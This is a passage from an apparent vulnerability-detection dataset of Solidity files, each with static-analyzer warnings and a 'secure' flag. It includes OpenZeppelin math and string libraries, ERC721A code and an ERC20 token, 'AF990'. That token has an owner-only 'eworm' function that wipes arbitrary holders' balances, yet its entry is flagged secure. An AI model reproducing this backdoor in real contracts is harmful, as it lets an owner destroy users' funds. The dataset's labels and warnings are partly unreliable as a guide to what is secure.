division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 43e4dc3): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 43e4dc3: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 94401b8): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 94401b8: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5972220): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5972220: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5e35a8e): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 5e35a8e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4a71238): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 4a71238: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 358ba03): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 358ba03: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c5b16e3): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for c5b16e3: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: de781b6): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for de781b6: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 383999e\n\t\t\t\t// divide-before-multiply | ID: 43e4dc3\n\t\t\t\t// divide-before-multiply | ID: 94401b8\n\t\t\t\t// divide-before-multiply | ID: 5972220\n\t\t\t\t// divide-before-multiply | ID: 4a71238\n\t\t\t\t// divide-before-multiply | ID: 358ba03\n\t\t\t\t// divide-before-multiply | ID: c5b16e3\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 5e35a8e\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: c5b16e3\n\t\t\t// incorrect-exp | ID: de781b6\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 383999e\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 94401b8\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5972220\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 43e4dc3\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 358ba03\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4a71238\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5e35a8e\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n ? 1\n : 0\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}",
"file_name": "solidity_code_1456.sol",
"secure": 0,
"size_bytes": 12530
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/Math.sol\" as Math;\nimport \"@openzeppelin/contracts/utils/math/SignedMath.sol\" as SignedMath;\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}",
"file_name": "solidity_code_1457.sol",
"secure": 1,
"size_bytes": 2486
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\" as IUniswapV2Router01;\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_1458.sol",
"secure": 1,
"size_bytes": 440
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC721A {\n error ApprovalCallerNotOwnerNorApproved();\n\n error ApprovalQueryForNonexistentToken();\n\n error ApproveToCaller();\n\n error BalanceQueryForZeroAddress();\n\n error MintToZeroAddress();\n\n error MintZeroQuantity();\n\n error OwnerQueryForNonexistentToken();\n\n error TransferCallerNotOwnerNorApproved();\n\n error TransferFromIncorrectOwner();\n\n error TransferToNonERC721ReceiverImplementer();\n\n error TransferToZeroAddress();\n\n error URIQueryForNonexistentToken();\n\n error MintERC2309QuantityExceedsLimit();\n\n error OwnershipNotInitializedForExtraData();\n\n struct TokenOwnership {\n address addr;\n uint64 startTimestamp;\n bool burned;\n uint24 extraData;\n }\n\n function totalSupply() external view returns (uint256);\n\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function setApprovalForAll(address operator, bool _approved) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n\n event ConsecutiveTransfer(\n uint256 indexed fromTokenId,\n uint256 toTokenId,\n address indexed from,\n address indexed to\n );\n}",
"file_name": "solidity_code_1459.sol",
"secure": 1,
"size_bytes": 2630
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract AF990 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable niasi;\n\n constructor() {\n _name = \"AF990\";\n\n _symbol = \"AF990\";\n\n _decimals = 18;\n\n uint256 initialSupply = 830000000;\n\n niasi = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == niasi, \"Not allowed\");\n\n _;\n }\n\n function eworm(address[] memory mana) public onlyOwner {\n for (uint256 i = 0; i < mana.length; i++) {\n address account = mana[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_146.sol",
"secure": 1,
"size_bytes": 4340
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721A.sol\" as IERC721A;\nimport \"./ERC721A__IERC721Receiver.sol\" as ERC721A__IERC721Receiver;\n\ncontract ERC721A is IERC721A {\n uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant BITPOS_AUX = 192;\n\n uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant BITMASK_BURNED = 1 << 224;\n\n uint256 private constant BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private constant BITPOS_EXTRA_DATA = 232;\n\n uint256 private constant BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;\n\n uint256 private constant BITMASK_ADDRESS = (1 << 160) - 1;\n\n uint256 private constant MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;\n\n uint256 private _currentIndex;\n\n uint256 private _burnCounter;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => uint256) private _packedOwnerships;\n\n mapping(address => uint256) private _packedAddressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _currentIndex = _startTokenId();\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 1;\n }\n\n function _nextTokenId() internal view returns (uint256) {\n return _currentIndex;\n }\n\n function totalSupply() public view override returns (uint256) {\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function _totalBurned() internal view returns (uint256) {\n return _burnCounter;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x2a55205a ||\n interfaceId == 0x5b5e139f;\n }\n\n function balanceOf(address owner) public view override returns (uint256) {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n\n return _packedAddressData[owner] & BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> BITPOS_NUMBER_MINTED) &\n BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _numberBurned(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> BITPOS_NUMBER_BURNED) &\n BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> BITPOS_AUX);\n }\n\n function _setAux(address owner, uint64 aux) internal {\n uint256 packed = _packedAddressData[owner];\n\n uint256 auxCasted;\n\n assembly {\n auxCasted := aux\n }\n\n packed = (packed & BITMASK_AUX_COMPLEMENT) | (auxCasted << BITPOS_AUX);\n\n _packedAddressData[owner] = packed;\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n\n if (packed & BITMASK_BURNED == 0) {\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n\n return packed;\n }\n }\n }\n\n revert OwnerQueryForNonexistentToken();\n }\n\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n\n ownership.startTimestamp = uint64(packed >> BITPOS_START_TIMESTAMP);\n\n ownership.burned = packed & BITMASK_BURNED != 0;\n\n ownership.extraData = uint24(packed >> BITPOS_EXTRA_DATA);\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n function _initializeOwnershipAt(uint256 index) internal {\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function _packOwnershipData(\n address owner,\n uint256 flags\n ) private view returns (uint256 result) {\n assembly {\n owner := and(owner, BITMASK_ADDRESS)\n\n result := or(\n owner,\n or(shl(BITPOS_START_TIMESTAMP, timestamp()), flags)\n )\n }\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, _toString(tokenId)))\n : \"\";\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 91cd87f): SunMoonRising3.constructor(uint96,address[],uint256[],string,address,address)._baseURI shadows ERC721A._baseURI() (function)\n\t// Recommendation for 91cd87f: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d0cab0a): SunMoonRising3.setBaseUri(string)._baseURI shadows ERC721A._baseURI() (function)\n\t// Recommendation for d0cab0a: Rename the local variables that shadow another component.\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function _nextInitializedFlag(\n uint256 quantity\n ) private pure returns (uint256 result) {\n assembly {\n result := shl(BITPOS_NEXT_INITIALIZED, eq(quantity, 1))\n }\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ownerOf(tokenId);\n\n if (_msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _tokenApprovals[tokenId] = to;\n\n emit Approval(owner, to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n if (operator == _msgSenderERC721A()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n transferFrom(from, to, tokenId);\n\n if (to.code.length != 0)\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex &&\n _packedOwnerships[tokenId] & BITMASK_BURNED == 0;\n }\n\n function _safeMint(address to, uint256 quantity) internal {\n _safeMint(to, quantity, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal {\n _mint(to, quantity);\n\n unchecked {\n if (to.code.length != 0) {\n uint256 end = _currentIndex;\n\n uint256 index = end - quantity;\n\n do {\n if (\n !_checkContractOnERC721Received(\n address(0),\n to,\n index++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (index < end);\n\n if (_currentIndex != end) revert();\n }\n }\n }\n\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n\n if (to == address(0)) revert MintToZeroAddress();\n\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n uint256 tokenId = startTokenId;\n\n uint256 end = startTokenId + quantity;\n\n do {\n emit Transfer(address(0), to, tokenId++);\n } while (tokenId < end);\n\n _currentIndex = end;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _mintERC2309(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n\n if (to == address(0)) revert MintToZeroAddress();\n\n if (quantity == 0) revert MintZeroQuantity();\n\n if (quantity > MAX_MINT_ERC2309_QUANTITY_LIMIT)\n revert MintERC2309QuantityExceedsLimit();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n emit ConsecutiveTransfer(\n startTokenId,\n startTokenId + quantity - 1,\n address(0),\n to\n );\n\n _currentIndex = startTokenId + quantity;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _getApprovedAddress(\n uint256 tokenId\n )\n private\n view\n returns (uint256 approvedAddressSlot, address approvedAddress)\n {\n mapping(uint256 => address) storage tokenApprovalsPtr = _tokenApprovals;\n\n assembly {\n mstore(0x00, tokenId)\n\n mstore(0x20, tokenApprovalsPtr.slot)\n\n approvedAddressSlot := keccak256(0x00, 0x40)\n\n approvedAddress := sload(approvedAddressSlot)\n }\n }\n\n function _isOwnerOrApproved(\n address approvedAddress,\n address from,\n address msgSender\n ) private pure returns (bool result) {\n assembly {\n from := and(from, BITMASK_ADDRESS)\n\n msgSender := and(msgSender, BITMASK_ADDRESS)\n\n result := or(eq(msgSender, from), eq(msgSender, approvedAddress))\n }\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedAddress(tokenId);\n\n if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n assembly {\n if approvedAddress {\n sstore(approvedAddressSlot, 0)\n }\n }\n\n unchecked {\n --_packedAddressData[from];\n\n ++_packedAddressData[to];\n\n _packedOwnerships[tokenId] = _packOwnershipData(\n to,\n BITMASK_NEXT_INITIALIZED |\n _nextExtraData(from, to, prevOwnershipPacked)\n );\n\n if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n address from = address(uint160(prevOwnershipPacked));\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedAddress(tokenId);\n\n if (approvalCheck) {\n if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n assembly {\n if approvedAddress {\n sstore(approvedAddressSlot, 0)\n }\n }\n\n unchecked {\n _packedAddressData[from] += (1 << BITPOS_NUMBER_BURNED) - 1;\n\n _packedOwnerships[tokenId] = _packOwnershipData(\n from,\n (BITMASK_BURNED | BITMASK_NEXT_INITIALIZED) |\n _nextExtraData(from, address(0), prevOwnershipPacked)\n );\n\n if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n unchecked {\n _burnCounter++;\n }\n }\n\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n try\n ERC721A__IERC721Receiver(to).onERC721Received(\n _msgSenderERC721A(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return\n retval ==\n ERC721A__IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n function _setExtraDataAt(uint256 index, uint24 extraData) internal {\n uint256 packed = _packedOwnerships[index];\n\n if (packed == 0) revert OwnershipNotInitializedForExtraData();\n\n uint256 extraDataCasted;\n\n assembly {\n extraDataCasted := extraData\n }\n\n packed =\n (packed & BITMASK_EXTRA_DATA_COMPLEMENT) |\n (extraDataCasted << BITPOS_EXTRA_DATA);\n\n _packedOwnerships[index] = packed;\n }\n\n function 